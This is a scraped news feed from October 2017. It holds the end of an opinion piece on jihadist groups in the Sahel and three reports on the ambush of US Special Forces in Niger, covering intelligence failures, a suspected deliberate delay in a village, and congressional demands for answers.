A good example is the group that targeted the In Amenas natural gas facility in Algeria in 2013, an attack that killed nearly 40 hostages. In helping the Norwegian co-manager of the facility, Statoil, assess the incident and improve security, I learned how easy it is to assemble a force of militants in this region. Although the attack was led by a breakaway leader of AQ/IM, he had assembled a gang of Algerians, Libyans, Malians, Nigerians, Egyptians, Canadians, Tunisians and Mauritanians. It’s not much of an exaggeration to say you can put together a ragged jihadi gang just by roaring through this area with some pickup trucks, SUVs, guns and money.

Conditioning the environment more broadly was something that happened before the 2012 takeover of neighboring northern Mali by elements of jihadis connected to AQ/IM. They held the region, larger than France, for more than six months until they were driven out by a coalition of French and African forces. The region is still troubled, and early this year three of the insurrectionist groups merged and declared allegiance to al-Qaida. Meanwhile, the group that ambushed the U.S. Green Berets in Niger is thought to have been led by a Malian veteran of that 2012 fight — which involved territory just across the border from where our Green Berets were attacked.

So why is the United States there? To help ensure the area does not turn into another platform for attacking the U.S. and our allies. Now that the Islamic State is mostly driven from its so-called caliphate in Syria and Iraq, it will fall back on its long-contemplated global strategy. It has at least a half dozen well-established nodes around the world and dozens of loosely affiliated groups like the one that ambushed our Green Berets. Left alone, they can use areas like the Sahel as safe havens for training and plotting future attacks.

Given the magnitude of the challenge, U.S. counterterrorism forces will inevitably be overstretched. The attack on our Green Berets is a reminder that this really is a global struggle, that it is highly complex and will take a long time — and that coalition-building and burden-sharing with trusted local forces will be even more essential than in the past.

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]]> https://briefnews.eu/the-niger-ambush-signals-next-likely-isis-fight/feed/ 0 US troops were reportedly chasing a high-value target when they were ambushed in Niger https://briefnews.eu/us-troops-were-reportedly-chasing-a-high-value-target-when-they-were-ambushed-in-niger/ https://briefnews.eu/us-troops-were-reportedly-chasing-a-high-value-target-when-they-were-ambushed-in-niger/#respond Tue, 24 Oct 2017 20:56:57 +0000 http://briefnews.eu/us-troops-were-reportedly-chasing-a-high-value-target-when-they-were-ambushed-in-niger/ niger armyUS Army

  • The US Special Forces detachment that was ambushed in Niger was reportedly on a reconnaissance mission when it shifted to a kill-or-capture mission for a high-value target.
  • The US troops were reportedly out for over 24 hours after the change in plan.
  • Sources say that US forces were intentionally delayed in the village where they were attacked.

New details from US intelligence officials and a survivor of the deadly ambush near the Niger-Mali border that killed four US soldiers shine a light on an incident that has created a political firestorm in Washington.

What was supposed to be a reconnaissance mission to meet with local elders shifted to a kill-or-capture operation, taking them out on a mission for over 24 hours, according to an intelligence official in an ABC News report.

“They should have been up and back in a day,” the official told ABC News. “Because they were up there so f—— long on a mission that morphed, they were spotted, surveilled and ultimately hit.”

As the 12-person Special Forces detachment and 30 Nigerien partner forces embarked on their mission on the morning of October 3, they received intelligence reports that contact with an enemy force was “unlikely,” Chairman of the Joint Chiefs of Staff Gen. Joseph Dunford said during a press conference on Monday.

US Marine Niger SoldiersDoD photo by Air Force Tech. Sgt. Sean Worrell

When the US troops were heading back to base, however, they received a call to kill or capture a target that was considered to be one of the “top three objectives in Niger,” several intelligence sources told ABC News. Codenamed “Naylor Road,” the target was affiliated with Al Qaeda and ISIS, ABC News reported. Dunford also confirmed on Monday that a group of ISIS-affiliated tribal fighters attacked the US troops.

A second Special Forces team was supposed to meet with the original team for the revised mission, ABC News said. When the second team was unable to do so, the original team was ordered to continue their mission — which resulted in nothing substantial.

The team eventually stopped at a village on the morning of October 4, where a village elder was “obviously and deliberately trying to stall them” by displaying an ill child to the troops and grabbing a goat to prepare for them, sources told ABC News. When the troops departed, they came under fire from militants, the survivor of the battle said.

The survivor also praised the bravery of Sgt. La David Johnson, one of the soldiers killed during the battle, according to ABC News.

Sgt. La David JohnsonScreenshot via WPLG

“Without a doubt, his courage and bravery in action that day were above and beyond expectation,” the survivor said. “He died fighting for his brothers on his team. You can quote that verbatim.”

“He grabbed any and every weapon available to him,” the survivor added. “The guy is a true war hero.”

Nigerien sources also suggested that US troops were tracking down an ISIS-affiliated target and were intentionally delayed, according to a Voice of America report.

But Moussa Askar, a specialist in terrorism in Africa’s Sahel region who was briefed on the attack by defense officials, said a fake terror attack took place nearby, to which US forces responded. There, the troops were ambushed by militants with automatic rifles and heavy weaponry.

Despite the initial intelligence assessment before the troops set off on their mission, locals have painted a bleaker picture of performing military operations in the area.

“The attackers, the bandits, the terrorists have never lacked accomplices among local populations,” Almou Hassane, the mayor of the village near which US troops were attacked, told Voice of America. Following the attack, the village chief was reportedly arrested and placed in government custody.

Around 800 US troops are operating in Niger, along with 4,000 French troops in West Africa, according to Dunford. US forces have reportedly been in the region for more than 20 years and are stationed there to “defeat violent extremism in Africa,” in addition to dealing with the “global threat with foreign fighters, Dunford said on Monday.

“This area is inherently dangerous,” Dunford said. “We’re there because ISIS and Al Qaeda are operating in that area.”

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]]> https://briefnews.eu/us-troops-were-reportedly-chasing-a-high-value-target-when-they-were-ambushed-in-niger/feed/ 0 ‘This was sophisticated’: US official says troops saw warning signs before Niger ambush https://briefnews.eu/this-was-sophisticated-us-official-says-troops-saw-warning-signs-before-niger-ambush/ https://briefnews.eu/this-was-sophisticated-us-official-says-troops-saw-warning-signs-before-niger-ambush/#respond Sat, 21 Oct 2017 05:24:57 +0000 http://briefnews.eu/this-was-sophisticated-us-official-says-troops-saw-warning-signs-before-niger-ambush/ special forces green beretsUS Army

  • A senior congressional aide says that a “massive intelligence failure” may have played a role in the Niger ambush that led to the deaths of four US soldiers.
  • The Defense Department is looking into whether the soldiers were being delayed and lured into an ambush, multiple news outlets reported.

The ambush that resulted in the deaths of four US service members in Niger earlier in October has been attributed in part to a “massive intelligence failure,” a senior congressional aide told NBC News.

About 40 to 50 ISIS-affiliated militants reportedly ambushed a 12-person squad of US soldiers, killing three Green Berets and one soldier near the Niger-Mali border. Two others were wounded during the assault.

The operation, meant to establish relations with local leaders, was believed to be low-risk, and was viewed as routine after being conducted about 30 times in recent months.

The aide also said US forces did not have ample overhead surveillance support and no quick-reaction force — an emergency-response team — for the mission. French fighter jets, which reportedly arrived within 30 minutes of the call going out, played a crucial role in the fight, according to the aide.

A diplomat said that French officials were frustrated with the mission, particularly because the US troops had limited intelligence and no contingency plans, Reuters reported.

Although multiple Defense Department offices have launched investigations into the incident, the aide noted that one of the scenarios being looked into was whether the US soldiers were intentionally delayed in the village they were visiting. The aide said that the soldiers were pursuing men on motorcycles, who lured them into the ambush, according to NBC News. There, they were met with rocket-propelled grenades and improvised vehicles outfitted for combat.

US Army Special Forces Niger exercise training AfricaUS Army/Sgt. 1st Class Christopher Klutts

Another report suggested that the soldiers were ambushed while walking back to their unarmored vehicles, after their meeting with the village leaders. One senior US intelligence official said to ABC News that US troops detected something was wrong when they saw two motorcycles race out of the village: “Hair on the back of the neck stood up,” the senior official said.

The soldiers then felt they were being stalled by the village elder, the official continued. When they were finally leaving, the militants attacked from both sides of the road.

“This was sophisticated,” the official said, “Our guys not only got hit hard, but got hit in depth.”

When the dust settled, around 21 militants were killed. The militants were later buried at the Malian side of the border, ABC News reported.

“So while this was a tragedy, what’s gotten lost is how well our people acquitted themselves,” the official continued, “We lost four but at least 21 from their side died.”

On Friday, Sen. Lindsey Graham of South Carolina said that although he couldn’t give details on the attack, the soldiers had “died in the defense of America.”

“This war is getting hot in places where it’s cool,” Graham said. “The American public needs to get ready for more operations. We’re gonna be more aggressive.”

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]]> https://briefnews.eu/this-was-sophisticated-us-official-says-troops-saw-warning-signs-before-niger-ambush/feed/ 0 There are still some unanswered questions surrounding the ambush in Niger, in which 4 US soldiers died https://briefnews.eu/there-are-still-some-unanswered-questions-surrounding-the-ambush-in-niger-in-which-4-us-soldiers-died/ https://briefnews.eu/there-are-still-some-unanswered-questions-surrounding-the-ambush-in-niger-in-which-4-us-soldiers-died/#respond Fri, 20 Oct 2017 00:34:43 +0000 http://briefnews.eu/there-are-still-some-unanswered-questions-surrounding-the-ambush-in-niger-in-which-4-us-soldiers-died/ John McCainAP

  • Weeks after the initial reports of the ambush in which 4 US troops were killed in Niger, questions still remain about what exactly happened.
  • Lawmakers have been left in the dark and are pressing the White House for answers, with Sen. John McCain suggesting he may issue a subpoena.
  • The Department of Defense is still investigating what happened

Following the deaths of four US soldiers in Niger earlier in October, several questions remain unanswered, spurring lawmakers to press the White House and Pentagon for answers on the circumstances surrounding the incident.

Leading this charge is Sen. John McCain, chairman of the Senate Armed Services Committee, who says he may seek a subpoena to receive information on the attack, according to CNN.

On Wednesday, McCain said that the White House was not being upfront about the Niger ambush, and said he would like the information his committee “deserves and needs.”

“I haven’t heard anything about it, to tell you the truth, except that they were killed,” McCain said in a Daily Beast report on Tuesday.

Although the Special Forces unit involved in the ambush and US Africa Command (AFRICOM) — the combatant command in charge of operations in Niger — are conducting investigations, McCain indicated he may want details before the results.

“That’s not how the system works,” McCain said to CNN. “We’re coequal branches of government. We should be informed at all times.”

James MattisAlex Brandon/AP

Defense Secretary James Mattis was reportedly also dismayed by the dearth of information surrounding the ambush, but there was no sign that he was going to rush the investigation process multiple officials told CNN.

Meanwhile, the Pentagon claims it will keep the Armed Services Committees “up to date” on the ambush: “We will work with Sen. McCain and his staff to make sure they get everything that they need,” the Pentagon reportedly said on Thursday.

One of the primary questions that circulated in news reports has been why President Donald Trump had not addressed the casualties or the circumstances behind the ambush.

Following initial media reports of the ambush, White House press secretary Sarah Huckabee Sanders released a statement saying that Trump had been informed of the incident. However, it wasn’t until 12 days later after the reports that Trump made his first public acknowledgment of the ambush.

Donald TrumpKevin Dietsch-Pool/Getty Images

A statement of condolence was reportedly drafted by a staffer from the National Security Council for Trump to immediately deliver following the ambush. But Trump never made the statement that was circulated around the Defense Department and the National Security Council. Instead, he delivered a speech that has been widely criticized for making false claims about his predecessors’ actions after a service member’s death and was condemned by a Gold Star father.

McCain also questioned why US troops were operating in that specific area of the Niger-Mali border without sufficient resources. French officials were frustrated with the US troops — who were there to establish relations with local leaders — because they acted on limited intelligence and didn’t have an emergency plan, a diplomat familiar with the incident told Reuters. France, a key US ally in the region, has a military presence that includes attack helicopters and Mirage jets, according to CNN.

While Special Forces troops have operated under AFRICOM’s purview for years, intelligence and contingency plans still remain the backbone of any mission US forces undertake. The investigation into the ambush — which spans the Special Forces group, AFRICOM, and the Pentagon as well as French and Nigerien forces — will likely take longer, given the broad scope of the mission. 

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